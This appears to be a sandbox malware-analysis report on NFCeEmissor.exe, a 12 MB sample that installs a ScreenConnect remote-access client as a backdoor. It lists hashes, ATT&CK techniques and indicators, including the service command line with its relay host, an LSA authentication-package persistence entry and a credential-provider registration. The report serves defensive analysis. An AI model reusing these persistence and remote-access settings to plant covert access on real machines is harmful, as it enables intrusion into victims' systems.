5be22549da694e3d6493ca85d0eeba5b0903ad6c98a3770427cd2947962b4bc2

Analysis

max time kernel
149s
max time network
144s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
27/11/2025, 12:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NFCeEmissor.exe
Size 12.0MB
Sample251127-p1bclawpdx
SHA256 5be22549da694e3d6493ca85d0eeba5b0903ad6c98a3770427cd2947962b4bc2
MD5 63d44d7fccdf666da22a775a1b72cd6e
SHA1 b7301a8e6d702e9dc01f4978bc8c176e810f2305
SHA512 8be47fe99f1472aef26bac224e9454c7ef8ba436c8f48069909048bd9a76b30af959ec7bcd3235b089711074993c958592d76c404d14747fa697ca32dfeae34d
SSDEEP 196608:VRefefPVF1+sPlEFFUdq4ypH1+sPlEFFU11+sPlEFFU/1+sPlEFFUx:VDPNSF8qtpVPNSFAPNSFsPNSFo
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (1e1e0cdf908eddf1)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (1e1e0cdf908eddf1)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-jrildx-relay.screenconnect.com&p=443&s=2ab985e4-3a09-446f-885b-88d6b2a33ba2&k=BgIAAACkAABSU0ExAAgAAAEAAQBJ8w2%2b%2fCZDnkkT6rmdV6hIYhdQAxG%2f8FWhMLTfZnnOHPemyglGh2fBFOHI1LEf4DcisnAkXvRDNCWfjchQXMxOEZh9LwRjhYZP0xfNKDLVn79EUEL9Mkn%2bI8fBiO1pBfS28g3ZgxJy3CGPQJIUiIkN1Fxw%2bo23I5K95cKoiM96NlbTnf2P87gWoO9OB2rCri7U0DUXYBxXqsbdmSIm7jWfpzVEQDQR7If%2bCl%2fweNs2bljkU7xKFulTc8rJeOWqWtJxFpm9HEBJ0UZbXB1veGEerwoSuJNj9LXPFe3y7phh%2beH12Fko3ukFPTWy6LPwsdQg1y95wsQWBnNo4I9RE1Gv&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAACE%2fQnXHBXkyOHIdhN6ucRQAAAAACAAAAAAAQZgAAAAEAACAAAABp4QsAAH%2bTRGUWlJaiyLNBTGrTS9%2fOi6aiuQ5Tu8AVRQAAAAAOgAAAAAIAACAAAABH6xYY6jHi9LAWJqg%2b91oah9xykGPL%2f6M%2f326E0KJp26AEAAAJpqVHOaQCA3zHTpdf477ovRzuv6pslFMMkc%2fR5%2fgfXMVJSU5yEfnmBvRj11Fbuow%2bbOssNvi4uVlCTQMDAMn88gaJSKEsrffkAf%2b%2b9T%2fQEnTF%2f5ZJHexn6d1CSZodAZUwVjoOV886bcx3PZDU%2bF5s%2feLZD8NcXX3o1hNh0JAM2PDqnu2CqqtPa3llbeLaI58InlrBLR4q547H6HaiQDoqIrX1XkuFfGHKO1k5EEUkKTAQnZW1QAgC2t6obXsyMAUKNPhGZtP454cf1OHEywC0xjdv55Pr5chIqDcRWsiG%2bduJEKOJ%2bK6h1LwzMZw%2b3qWK%2fWkZl%2fnhHL%2fS%2fCc4S4dW7GYuAysWZfalw2Z7R4H9j23chVVpA9HRgdIUqwR%2bp9%2b7k1yVWdxwkHTJj5MSphz4yKHqyBNqtnyyeO2mslM%2bQX5C1YMYnBGPqDADEthxDJDG1iiAyF%2bT2yrqKL3%2fWSwfkS52X%2bUvUlL7MdFSeFkQjjcTaLzTe32rWHbgL8J3VdNi0EQZWGUZcYRAbagK4PfHcneebS5vlACfKqNZ6y%2bR1Aw5S4zD%2f2fLLQXtooObNd7YM8XkkLXAfS232d4%2fb2dE%2fMlvTK2iC8HxKDFUbXqImky05ah41e5NgeE3u6RQiJ0LQLboaBgxT9W6iE1djWV6TC6BNgFIZfNqPNY%2bwzoL7uknz5niVqhwdposqqMIAzqY%2fUn1179X5OgG%2bDe%2fo59iHJsuOjizhco2Nw5U2oOsgnmE0A1S%2bIbVL3NUqFm0wDoP7VpADP9UUbo1WZ7ek1zBohY6%2bBIHPLUXiRhZtc%2bnctDFVNiXUrw6GOzMxOwOVIiUedMBtWhZxxqJI0GkT4ySW2I2BZwxl9DYyhSo8SbSsDkWgJqX%2bN1C%2bIRMh9e%2fCWGNdLyZyLhahtlmjEtX%2biBxm3xnov6SMNFEDhbSOUeS5PvqoVQTENuHii1EB6IiZcO1L5CHHl6CK3Sv59Ux320RHpTQIRBJ06cXNs8FMrhFNyaEy2jQG02DN28omWjKL1r%2fJ54KtrnTzluzo%2b3ocyonb9wcQK9IU28T%2fHkMk5fSqyPZkzETT3DyL7GRPmCFIhhsyteT%2bMPojEJJSZ3%2b2m38RgzgUgJTRN51h87HHzcXAOa9g%2btYjqv4KnQ%2bXLr57XmLhLseBJPpOH3SKpuE37z1Voe8JLcJ9ep%2bhlPc6sDas4hn%2brUES9jDtim6%2fB%2f3w94MkgTV0gnep2mVU7RGAFSw9xYPtpTHVzIPRUtiUWUs0KnqpFeqUPVfq6mi1fgw8gnhhr1dgEs9iP%2bojMCi8B5wk4kU6Gp%2fXRxNZ4msxx4W7aCSEIx%2b1zvOMiNROrlSeqLMrVGKNuUO4WLd0JxVSjAL3GbxbQDyIpPdRR1ygN%2bBzHE%2fhlQJVly1%2fSqPuuZ2gXC%2fABHTcDI%2fVk7VczCGJvIcoSF0bZ978Xk4gtlScrTMMPrzul9l%2fGkwlZoXcPD%2fu3uYQP89NJxamNOC1I4JBoIkxFJJLAoWGeG7YwoinIpRhM2AK7CCpy5d2DGW5mYflxsSRh%2bClrfvoBvJwA5rVTQpxAmeR3w2HI%2fT6RKVtyeNlEAAAADEiJbg5MpipG%2fGPKLi03JtoDAteF%2bFNG7hEE%2bOWAK8Lw4a5bv7xmTj3wBkBLPOwdmEU0ikEkpWEYYbdk7ZLdVl&c=Clientes%20game&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5400	msiexec.exe
3	5400	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800310065003100650030006300640066003900300038006500640064006600310029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 33 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\0qkznqpx.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cqqrit5v.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\yaaaebdy.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\qijco1z2.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\yaaaebdy.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\4gufalxg.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\zh52bpxw.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\jntjxrhh.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vilzktq2.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\41wcfifm.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\mqvju42i.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cqqrit5v.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\qijco1z2.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\qijco1z2.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\mqvju42i.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\zh52bpxw.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\zh52bpxw.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vilzktq2.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vilzktq2.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\4gufalxg.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\0qkznqpx.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\wpiwmqpb.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\0qkznqpx.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cqqrit5v.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\jntjxrhh.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\yaaaebdy.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\mqvju42i.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\wpiwmqpb.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\jntjxrhh.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\4gufalxg.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\41wcfifm.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\41wcfifm.newcfg	ScreenConnect.ClientService.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.resources	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSICAB3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICBAE.tmp	msiexec.exe
File created	C:\Windows\Installer\{BDF233AE-0216-44CA-0806-41D6B653B2BA}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DF518DAFCE5707630C.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICA93.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{BDF233AE-0216-44CA-0806-41D6B653B2BA}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF359C51C116CE3633.TMP	msiexec.exe
File created	C:\Windows\Installer\wix{BDF233AE-0216-44CA-0806-41D6B653B2BA}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e57c96c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{BDF233AE-0216-44CA-0806-41D6B653B2BA}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6670C06776439D82.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8C37E7282D2531C3.TMP	msiexec.exe
File created	C:\Windows\Installer\e57c96a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57c96a.msi	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
4996	ScreenConnect.ClientService.exe
3260	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
3412	MsiExec.exe
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe
2792	MsiExec.exe
5016	MsiExec.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe
4996	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NFCeEmissor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e418f500965cf86c0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e418f5000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900e418f500000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de418f500000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000e418f50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\ProductName = "ScreenConnect Client (1e1e0cdf908eddf1)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\PackageCode = "EA332FDB6120AC448060146D6B352BAB"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.8.1.9447\\1e1e0cdf908eddf1\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\EA332FDB6120AC448060146D6B352BAB\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.8.1.9447\\1e1e0cdf908eddf1\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}\ = "ScreenConnect Client (1e1e0cdf908eddf1) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\ProductIcon = "C:\\Windows\\Installer\\{BDF233AE-0216-44CA-0806-41D6B653B2BA}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\692DB7F2A68E0F7DE1E1C0FD09E8DD1F	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\692DB7F2A68E0F7DE1E1C0FD09E8DD1F\EA332FDB6120AC448060146D6B352BAB	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-1e1e0cdf908eddf1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (1e1e0cdf908eddf1)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (1e1e0cdf908eddf1)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
